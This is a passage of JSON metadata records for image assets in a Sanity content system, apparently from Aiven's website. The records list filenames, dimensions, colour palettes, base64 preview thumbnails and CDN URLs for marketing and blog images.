images/sczeoy4w/production/e37c98d7adb8b575350214d9374a70446741b90b-1966x1106.jpg"} {"_createdAt":"2024-10-08T10:17:34Z","_id":"image-e791cb16ed9d837d7e4e1f74536dace06584437b-1422x477-png","_rev":"Tpe1Rj6o9fDmGqbWvkgSE6","_type":"sanity.imageAsset","_updatedAt":"2024-10-08T10:18:47Z","altText":null,"assetId":"e791cb16ed9d837d7e4e1f74536dace06584437b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9SijaIVM|%3WB_4D+M{ofoL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.981132075471698,"height":477,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0ElEQVQYlW3RyY7DMAgAUP//j06bSeKdHXvkTKu2UtG7gIADhG2DM9aUas41l54axYa1o4iNV8xvRvi5nbf7cd/O/Si1EaB2ZCQRMTVXG+bDffr4MC5hP+vvnrY9H7GXyh2kA3e8gHRUIGeZYm90UZuhdU65x9RihlywdQZUQAGU57ARO8sTO6A1WMUAQKW0nFsprVZAZCYlkjf6wMqLAWhtgqiBiBGJiEVU1VRNWK4iEz0g/qdrkYirLmYjmLmqub9OamYi+s1abesJq23O+Qd1apghR8DUVAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a4c4d","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#282163","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b6d6","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b6d6","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9a8eed","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c64ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#877ed4","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"semantic-search-alloydb_omni-google_service_account_key.png","path":"images/sczeoy4w/production/e791cb16ed9d837d7e4e1f74536dace06584437b-1422x477.png","sha1hash":"e791cb16ed9d837d7e4e1f74536dace06584437b","size":21415,"title":null,"uploadId":"bhmN6k10ovtYMEL3gX57XwR4Ox8EjxUn","url":"https://cdn.sanity.io/images/sczeoy4w/production/e791cb16ed9d837d7e4e1f74536dace06584437b-1422x477.png"} {"_createdAt":"2024-09-06T14:55:29Z","_id":"image-9b47f32ebb0f1aadf56d992d1f0469d65d3237e6-600x338-png","_rev":"ezMiwuUkJkbYMWycAFqaGJ","_type":"sanity.imageAsset","_updatedAt":"2024-09-09T13:15:49Z","altText":null,"assetId":"9b47f32ebb0f1aadf56d992d1f0469d65d3237e6","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEH__RD4D$-;Mx?^tmkCR5w^4.S$I;x]E1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7751479289940828,"height":338,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9AGRzc4CJiqWvsp+tsXiEiHN+gJagpJykppGLiKGSjKmblpuNh5eGfZiTj4iVl3iKjWx/gmZ6fF90dlpvcQBvf4J8iYqXoqWfqayMlZiMl5uns7mrs7mfnJurop+0srKtqqutpaK3tre0v8OruLyksbSfr7GRo6Z8kZQAeYF/f4eGjJGRlZWUlpaVm6Klp7O3qLK3pKWlsK2qu8HEvMXLwMbKxs7Tws3TwcfJys/P1d3fxdHUmqyvAJx8YJ2IdpWOh4qIhoyNjZqho5ylppahopqgn6mmorG1trO+wrrGysLO1cDKz7u+vcnKx+Hl5tLc352vsgDBekO+iF+hinp/fXt5fX2QlZSZnpqQmJeTm5qhnpmknpqkqKirtbi0v8Wtt7yZoaGmrq3P1tjG0tWPo6cAqHZPsohopI+CjIaDh4J/kouHnZeRnJyXnaGfpKOeoZeRoJuWo6mqlKClcX6DVWRna3x/prS3qri7dYmNAHZ3cYyJg56Xk5+SjJ2IfpZ/dJV/dZuPiKakoq2vr6SenaOXkKilo4SOkEtaXTFCRElcX3+Qk4eYm15xdABKWFxmb3CRi4aki3uTdGOBYFCIY1KYgHaoo6Klqq6PjY6WiYSvqKaXnJ1ebXBIWVxjc3eElJh5jI9ccHMAICYnQ0VEe2tfjGlRXUQzSjYrb1FDkHxzm5mZgISGVlhZdXNysrO0tbq+k5+ki5mfo7C2o7G2doiLV2tuAA4REiwmIl08LF80HyoZECAdGkk+N2RbVnJwb1hZWTQ3OGtwcbi/wsTM0rjDybvGzb/L0qGutGR1eEhYWgANERIkGRRTJRFOHQoaDAcYGRg4NDFHQT5aVVFNSkg3Ojt7gYPAx8vBytC9yM7BzdO7yM6QnqNSYGI6SEnAiWkyH582kQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394848","foreground":"#fff","population":2.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e3b26","foreground":"#fff","population":4.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7c1c9","foreground":"#000","population":5.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7c1c9","foreground":"#000","population":5.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dab79e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b29376","foreground":"#000","population":3.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a66a3f","foreground":"#fff","population":2.56,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"topview-group-construction-meeting-handshake.png","path":"images/sczeoy4w/production/9b47f32ebb0f1aadf56d992d1f0469d65d3237e6-600x338.png","sha1hash":"9b47f32ebb0f1aadf56d992d1f0469d65d3237e6","size":313351,"title":null,"uploadId":"7NemO6Sd3uX5ANwXzv7IF22ZQSADC7Bp","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b47f32ebb0f1aadf56d992d1f0469d65d3237e6-600x338.png"} {"_createdAt":"2024-09-06T15:24:18Z","_id":"image-787600fdb91287341f7190c05b464a12ee4cd87b-1950x1297-webp","_rev":"ezMiwuUkJkbYMWycAFqYva","_type":"sanity.imageAsset","_updatedAt":"2024-09-09T13:15:12Z","altText":null,"assetId":"787600fdb91287341f7190c05b464a12ee4cd87b","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGI53p00^%xG4T~9bb9axZRP?bD%kYR-Rlxts*t7t7a#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5034695451040863,"height":1297,"width":1950},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCAwUH/8QAIxAAAgICAQMFAQAAAAAAAAAAAQIDBAARBQYSQQchIjFRgf/EABUBAQEAAAAAAAAAAAAAAAAAAAQD/8QAHREBAAICAgMAAAAAAAAAAAAAAQACBBESEzFhof/aAAwDAQACEQMRAD8Ap4iS9R46ae2zJW2O2Lu0G35ze6I6iYFXSYKm2ZoS2yQP3Ei8pk6dE7SSGRXH2xIP8yfpyiW+dhaYEkPogHQI/CMHXHGpvzK9qWQnQL3Ox3bUk5p1/kfbb+MMbbnHU5Zg4qwp3AHQXDAuNdd8vkQX9T//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4f27","foreground":"#fff","population":3.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#615217","foreground":"#fff","population":2.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b1955e","foreground":"#000","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbd2c3","foreground":"#000","population":6.71,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6bb7c","foreground":"#000","population":6.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b1955e","foreground":"#000","population":7.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b48e1d","foreground":"#fff","population":0.32,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"helthjem-worker-backview-loading-parcel.webp","path":"images/sczeoy4w/production/787600fdb91287341f7190c05b464a12ee4cd87b-1950x1297.webp","sha1hash":"787600fdb91287341f7190c05b464a12ee4cd87b","size":146652,"title":null,"uploadId":"VxEZuetgOoskZYiqSmcdyJyTP9VUHUmm","url":"https://cdn.sanity.io/images/sczeoy4w/production/787600fdb91287341f7190c05b464a12ee4cd87b-1950x1297.webp"} {"_createdAt":"2024-09-16T12:18:42Z","_id":"image-673a05fce9fe63e673de971435da8085c1699f45-1200x628-png","_rev":"2eqiUp79DxBCItwrHwORN7","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T09:39:49Z","altText":null,"assetId":"673a05fce9fe63e673de971435da8085c1699f45","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75hpHsxRNs.Rj?dk9M_ogR+-;s;V@ogW9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACDklEQVQokU3Qa2/SYBQH8H4CuYw+fZ7e26el7bbIULZ4gYEThovbIkUynCwOljGBMcCWu4BDh3Mhi5lG47c1Lb4wOW9///85hyC5/GrkfXTLfpxoP9rsrEd7kejgyfPLWGoW276Op+ex9O2zlz/Smd+p/bvN9HwjcaOEprTaR7hNkNxBaKOS2O7GU/1YcvB0axhNTtL73168mid356m978m9u3Tm127uz475M7Fzux6fq2szVpswwRHhhVkkHgrBY0E7EbWyqFfklYYebhsP+sG1gRYe6w+nRuRqOfJZD4/V0Bjfn4krX3njil++Ju4B053XHpj3ooKfOQ5wp6RQAWKdkloQt5HSR8oQyjYQG1C2aXXEaJec8UVYuVngrBfmfOiNjy742WKAOwUuhnILKR1aHdBqn5KbQKpTcgvhLlIHrDbhjdk/7KFyXph3MFP8r7kJZYtWekjpAqnhxlm00nfjPnL6lPAA00uZPpTzM4d+5mhpgfkKEM+BWHfBB4htSmoA6QIpHVYbM9rY9UPCT2V4Nivjt0KwBKXikru223xOClWSPwNibSEpqUWrA1afMtoYKV2IbYKEGYU3De1IXS0z+CTAlZyb+Qrl1NZI/owUKpQjmxDbTHDk4OAQYRvKFuGDJklnKfYACAWSexdgSyRfpoQqdMAFEKpArDmfwxatdFh9wuqfaLWHsIWw9RcN6o66RkAMkAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4571","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3d5e6","foreground":"#000","population":3.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767cc5","foreground":"#fff","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7196","foreground":"#fff","population":0.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.1,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"What is Apache Kafka blog.png","path":"images/sczeoy4w/production/673a05fce9fe63e673de971435da8085c1699f45-1200x628.png","sha1hash":"673a05fce9fe63e673de971435da8085c1699f45","size":130638,"title":null,"uploadId":"m76FxwNWeNKjrSlQeke0bffuMFZJITlp","url":"https://cdn.sanity.io/images/sczeoy4w/production/673a05fce9fe63e673de971435da8085c1699f45-1200x628.png"} {"_createdAt":"2024-09-20T17:17:33Z","_id":"image-33a19707652e2ca062dbdeccd7505e8a924a9c4a-1852x232-png","_rev":"YWHkZRhDz94HWGkESnXA4o","_type":"sanity.imageAsset","_updatedAt":"2024-09-20T17:18:19Z","altText":"Aiven for ClickHouse disk usage console output.","assetId":"33a19707652e2ca062dbdeccd7505e8a924a9c4a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"402ZJStma|x^RO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.982758620689655,"height":232,"width":1852},"exif":{"PixelXDimension":1852,"PixelYDimension":232,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAdUlEQVQImVWNyw6CMBRE2UEikFJ0pURpKGiCRoot8P8fdgy3blxMJplnovvA8b5RDwuVDVTWo7oPUV8pWkfWPCmMox5WySjrOT02VOf/9Kx5kezlOBSxh0rjhHW/kN8m0stI3k7il2YWaBvk7HB9/zoz6XnkC5d2N+eDo3Y9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314252","foreground":"#fff","population":10.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041424","foreground":"#fff","population":35.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#041424","foreground":"#fff","population":35.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0f4c89","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87bcf1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8494","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#197fe5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"Y8XrsvoJ4zglb1hB5GH1gM","_type":"reference","_weak":true}]}},"originalFilename":"Aiven for ClickHouse disk usage.png","path":"images/sczeoy4w/production/33a19707652e2ca062dbdeccd7505e8a924a9c4a-1852x232.png","sha1hash":"33a19707652e2ca062dbdeccd7505e8a924a9c4a","size":73086,"title":"Aiven for ClickHouse disk usage","uploadId":"dmaktfivDg0tdkG8wYp4O8U2B5dLg9J0","url":"https://cdn.sanity.io/images/sczeoy4w/production/33a19707652e2ca062dbdeccd7505e8a924a9c4a-1852x232.png"} {"_createdAt":"2024-09-25T16:39:50Z","_id":"image-87dda551c19ac9f7378915aff23d39592bc65474-3333x2369-png","_rev":"U7GiXZxomc47lFvBHqwZZ3","_type":"sanity.imageAsset","_updatedAt":"2024-09-25T16:40:29Z","altText":"Aiven for Metrics screenshot example from the Aiven console","assetId":"87dda551c19ac9f7378915aff23d39592bc65474","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJLE4=0000x[00D,Di$*yEZ#00n}_N^kt+PE=p9wRibF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.406922752216125,"height":2369,"width":3333},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABcRAAAXEQHKJvM/AAADvElEQVQ4jY2RbUxbZRTHr3UO32DsxWiqixokWaKxxuyDOGOmyUzcvrjBpOHN0HtbkIIhwpipgokMmbrQDLZOC2thWwYf/LDOAhujUBwIRMbYWtfpLIsWWmDcvtzbe5/7eh7Tmu7TTDzJ7znnw5Pf/ySHwH9hIv+5POL/FMZY038h8VqXgz5ttdOr39lW71R9Ou0p2NN3fcdO2695uhP9xNbspwjNQ5rU/9TzCEEQWf/BRq937JnA7+sfz87HFq7OxKVf5hh2dCK8/NW3k2tv7z1794VXbeOZ8IezHt3yYnbO9vc3bc7T56TIzdNn5s3b8vXa7bpiU/Whmunp665IJMrQUQ4nOQkYRlQ8o7ekKkM3vefN5hsZ4eMv5euKdu/e795/oNpfVFx7s/BDs+/AQbMv1Q/q63ylFY03Lc3W2x7PzPr6vZgiCAJWFAVURYbQ/Ix0uaWKcZXvDGeE2fv2fWA+2m5ddLlG8ciVaTw4dBW7h37Gw5cm8ahnFnsnruGZWT9eXFzC8TgDPI9AlGQsiwhE/6DEH98lCI0bxIwwp7Ky0nzR5Qqurt7DyaSg0jQDsVgCWJYDQZBAllWQZAUQEiCZ5IDneRBECUuIA9l/UZW7ClS5aQO+LyRJ0ux2u4M0HcUIyRBneGA5BLwogSArICpqGh4JwLLJdBDPI4w4DtZuTMFCRx1M1b8HDxRyggR0goNYEmEGCZgVJJwU5TQsh3AikcAsy4IoClgURPAvhKCzfQQOVQ88eMPUFrE4A0ySAw4hQIIIoqyAIMmQYDiIRNZhdS2GGQYBw4p4Zo7GlraAWkxd4+4fhSIp8/DwcDCVriiqingEkiRB+pKqCqlSFBXWaQS/BWhY8NHgD8SxPxBXr3gjTEv7LZ/eOPdj2qbRaHLKysrqBgYG7gaDQbyysoJDoRBeWlrG4XA4TSQSwcvhCA7c/htPTP6JR8bvwGXPH/iCex6d658abzs2V1tSNV9AjI15s0rLyp8vLCxqsFgsPrvdHuvr64s6HI6ow+FM43Q6o729vWl6epyxH07Zkz0nT8r2zk78zZEjK4cbmzqbm4++3u0YepI4c+bcpuaWL18ur/iopKSktNVAklaj0WSlKKOVpCirwUBaSZKyUhSV6h31pgr7cfPeqfOfvMWcr9vFW03veOsNhWbLF5/rnKe7txFdJ2wbW1vbcpsOf/Z0TU2t1miq0hqN/0JRJq3BQGlJ0qg1UdSzFQaTdrBO90aoYcspuvEJOkWocWvHT03vvtLQasv9/tjXj/0Ducqj6ksCPGEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3366","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#652204","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87204","foreground":"#fff","population":3.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c5a6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#868ded","foreground":"#fff","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#535996","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87204","foreground":"#fff","population":3.3,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Aiven for Metrics laptop hero.jpg","path":"images/sczeoy4w/production/87dda551c19ac9f7378915aff23d39592bc65474-3333x2369.png","sha1hash":"87dda551c19ac9f7378915aff23d39592bc65474","size":628077,"title":"Aiven for Metrics","uploadId":"NByby3oHv6NcGtKHjEAbanmgkuDCPS1t","url":"https://cdn.sanity.io/images/sczeoy4w/production/87dda551c19ac9f7378915aff23d39592bc65474-3333x2369.png"} {"_createdAt":"2024-09-25T16:37:24Z","_id":"image-5f3373b0ce097abf128b10539a744c27ae854db9-1200x630-jpg","_rev":"YPzePRnofxqIDzAJMCS0sK","_type":"sanity.imageAsset","_updatedAt":"2024-09-25T16:37:59Z","altText":"Aiven for Metrics","assetId":"5f3373b0ce097abf128b10539a744c27ae854db9","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFPGgj%}S48}~nXUE3=oEoo~_ID-XA?89I","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAwYH/8QAIRAAAgEEAgIDAAAAAAAAAAAAAQIDAAQFESExBhNBUYH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAT/xAAcEQACAwEAAwAAAAAAAAAAAAABAgADESEEMWH/2gAMAwEAAhEDEQA/AO7ejKtfORMq25bjR5ApJ5/nZvHpLSaFSxkJBcqSBodftayAAXLnnr7qJoo57gpMiyKOdMNitYvWh1Zl0E5kq0DE/JVhMq13ibW4mQxPLGHKHsbopddMwmYA6A+KKR8VT0HIDd31P//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434651","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24069e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd4af","foreground":"#000","population":1.93,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb96d0","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd4af","foreground":"#000","population":1.93,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b77c6d","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6234f7","foreground":"#fff","population":1.29,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"Aiven for Metrics product hero.jpg","path":"images/sczeoy4w/production/5f3373b0ce097abf128b10539a744c27ae854db9-1200x630.jpg","sha1hash":"5f3373b0ce097abf128b10539a744c27ae854db9","size":153190,"title":"Aiven for Metrics","uploadId":"AMQyh9x3MBin5XZEivsIhNGKvuHHXr0N","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f3373b0ce097abf128b10539a744c27ae854db9-1200x630.jpg"} {"_createdAt":"2024-09-27T17:02:48Z","_id":"image-d3b2d43c0e2a0bf6e7c28a9c71af467b3a9bd407-1200x630-png","_rev":"evT155FkQuDmo97Jpefn3Y","_type":"sanity.imageAsset","_updatedAt":"2024-09-27T17:02:58Z","altText":null,"assetId":"d3b2d43c0e2a0bf6e7c28a9c71af467b3a9bd407","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MABfVn0c#7TO:zx-O_}O0.t8-pROJq$z$d","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADBUlEQVQokUWRW0+bBQCGvx+gstLzccUCgrCWrbVdu3VA6VpW2o5+Xw+0UEKh5djCCuzI5kKlHMaiO2+acCUzm1vmMuJQEuOFRmPiBYnZjTEaL7z1Lzym3Hjx3D55n7zC20qJOnUcmTZJvS6NXJ9FYRxFaRpHbZ5G0zCH1jKPrukChuYrHH5/hRbHI2ynXuD2f0Ve3GC7OMJvlTD/fuJDUBgGaLYWsH4wQ7ujSLt9jnbHPFbnBazOy9hc17CfqGA/WaXDvYqz6xbd4c8JxncJJ3bJJ2/zcHyCH5ZE/lrvRdCaBznhWyQsLhOWKoSlKsHICsHoGoHIBv7wDcLx20QS9whE7xLs/5Sz6SckcnuI2T1SsUd8mDnHF8VhXi1kEJTGNC5vmWi8Qiy1Sn9y7UDo76tyOrLO6cgmkfgdzqYe0Cc9wBu4i8v3GadCz+gMvSDQfYfSmVmq0hjn+2cRZJoEjW1j2D1z2D1ljrkXsLkWsbkuctS9xDHPdZydK7h967h9m9jcNe7jCTzBH3rKiH+ZjR6JGz0xSt4CQu2Uem0ShSGN0jiE0jSC2pxH2zCJzlJE31jG0LyIseUSptZrNHWscdy3Ra+0w0D6FVXxEjtn3DzrcbHZGUF4SyFygDLOO+oUhzRDyHQjyA15FMYpVIdLGCxzNLWeo6XtPEccq3SFHiNmv2N47HuWBj5mOxRhO+BnuTtbWyhSp5I4pEkg06Wp12Wp1+dQGAsoTdPo3y3hPDpNxp9noq/AUPgq8YGnZCd+ZnTmVwYzO+SCtxj1bxDtfoggU4kYdBLmhkFMTTnU5hzymrC20DSFyVIkcjLPzWyK56UYW7NFFma+ZLK8z9TiG2LZH/EEXuP0vcbh20WQq2JYjCKt72VpbCugs4whN/wvNFqKRL15tgoS+9d7+emjPJtXnjO/9Dvlq3+SzP2CK/AtHV3f0NH1NUKdUkSullDpUyhNQ8gNwwfJckMteQpNQwmvY5J7uTh/rPp5czPH/cpLLlf+5mLlHzLj+xwP7mHr3MHqfcl/3FS0k81OiVsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4476","foreground":"#fff","population":0.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131e6e","foreground":"#fff","population":10.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131e6e","foreground":"#fff","population":10.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aad3","foreground":"#000","population":0.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c3a","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca8","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f07f33","foreground":"#000","population":2.68,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"BYOC SEO","path":"images/sczeoy4w/production/d3b2d43c0e2a0bf6e7c28a9c71af467b3a9bd407-1200x630.png","sha1hash":"d3b2d43c0e2a0bf6e7c28a9c71af467b3a9bd407","size":233172,"title":null,"uploadId":"qRsLRLNpEgzSfhCfT64apOuNKRnZvljV","url":"https://cdn.sanity.io/images/sczeoy4w/production/d3b2d43c0e2a0bf6e7c28a9c71af467b3a9bd407-1200x630.png"} {"_createdAt":"2024-10-01T20:29:09Z","_id":"image-69ee509178dfa0a50a96d2c0d19ccbb14027eb09-1113x720-png","_rev":"1U5rBVnZYn4alWirhdQzMf","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T20:29:18Z","altText":null,"assetId":"69ee509178dfa0a50a96d2c0d19ccbb14027eb09","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4S$owD+IVxbRP~qM}IUV@jXIVNetSoKe.?bt7odkBt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5458333333333334,"height":720,"width":1113},"exif":{"PixelXDimension":1113,"PixelYDimension":720,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAABsklEQVQ4jX1TgXKsIAz0/7+0vfYEEggJoNsJetb2dR4zGWXNbDbJusQQsK4RxAJrA33saGPH2Hbs+xnbhn3043lhA3v/he07lvD8xOPxxMeTEcnA0hHFQFJRq8LM0FVhTDARjDGwbRuGKZQJKoLeD2wSrmvC23vA24PwGQQpGyILIjGYM0QqrFYUIhTmWcBJm9nE8g2bhLxmpJDBXCG1Q23ArM2k1tqsPglam3Ep/APbnTB/EHJgVNFT+m12M/Dr/v9YODFSTLM9VTsq4TivpO/z7x1XzoEvmTOICEQ85zX6uDb3Yvb37VR7L/QXtkgIyDEh50PhsIaeK7ooRu9TcRsbpA3YuU0nan2D6JhWey1kEmpKKClBiqC1jm4NEgi8Rrh6NYO2jlgqKBeo+qw7qjYEKkjJO3Pr9FNhVRSR6TkHfWuuNqVD9dy2NWQus4DneY47gbMTEkop34RhmliPdru31ZAkg6VclujqqhlC5fLcyzpO9MM23krkjOItu/+agUoGlwI7CZsaOBAoptmej+YguC38XMziH+ecTiPPu+r527mx+w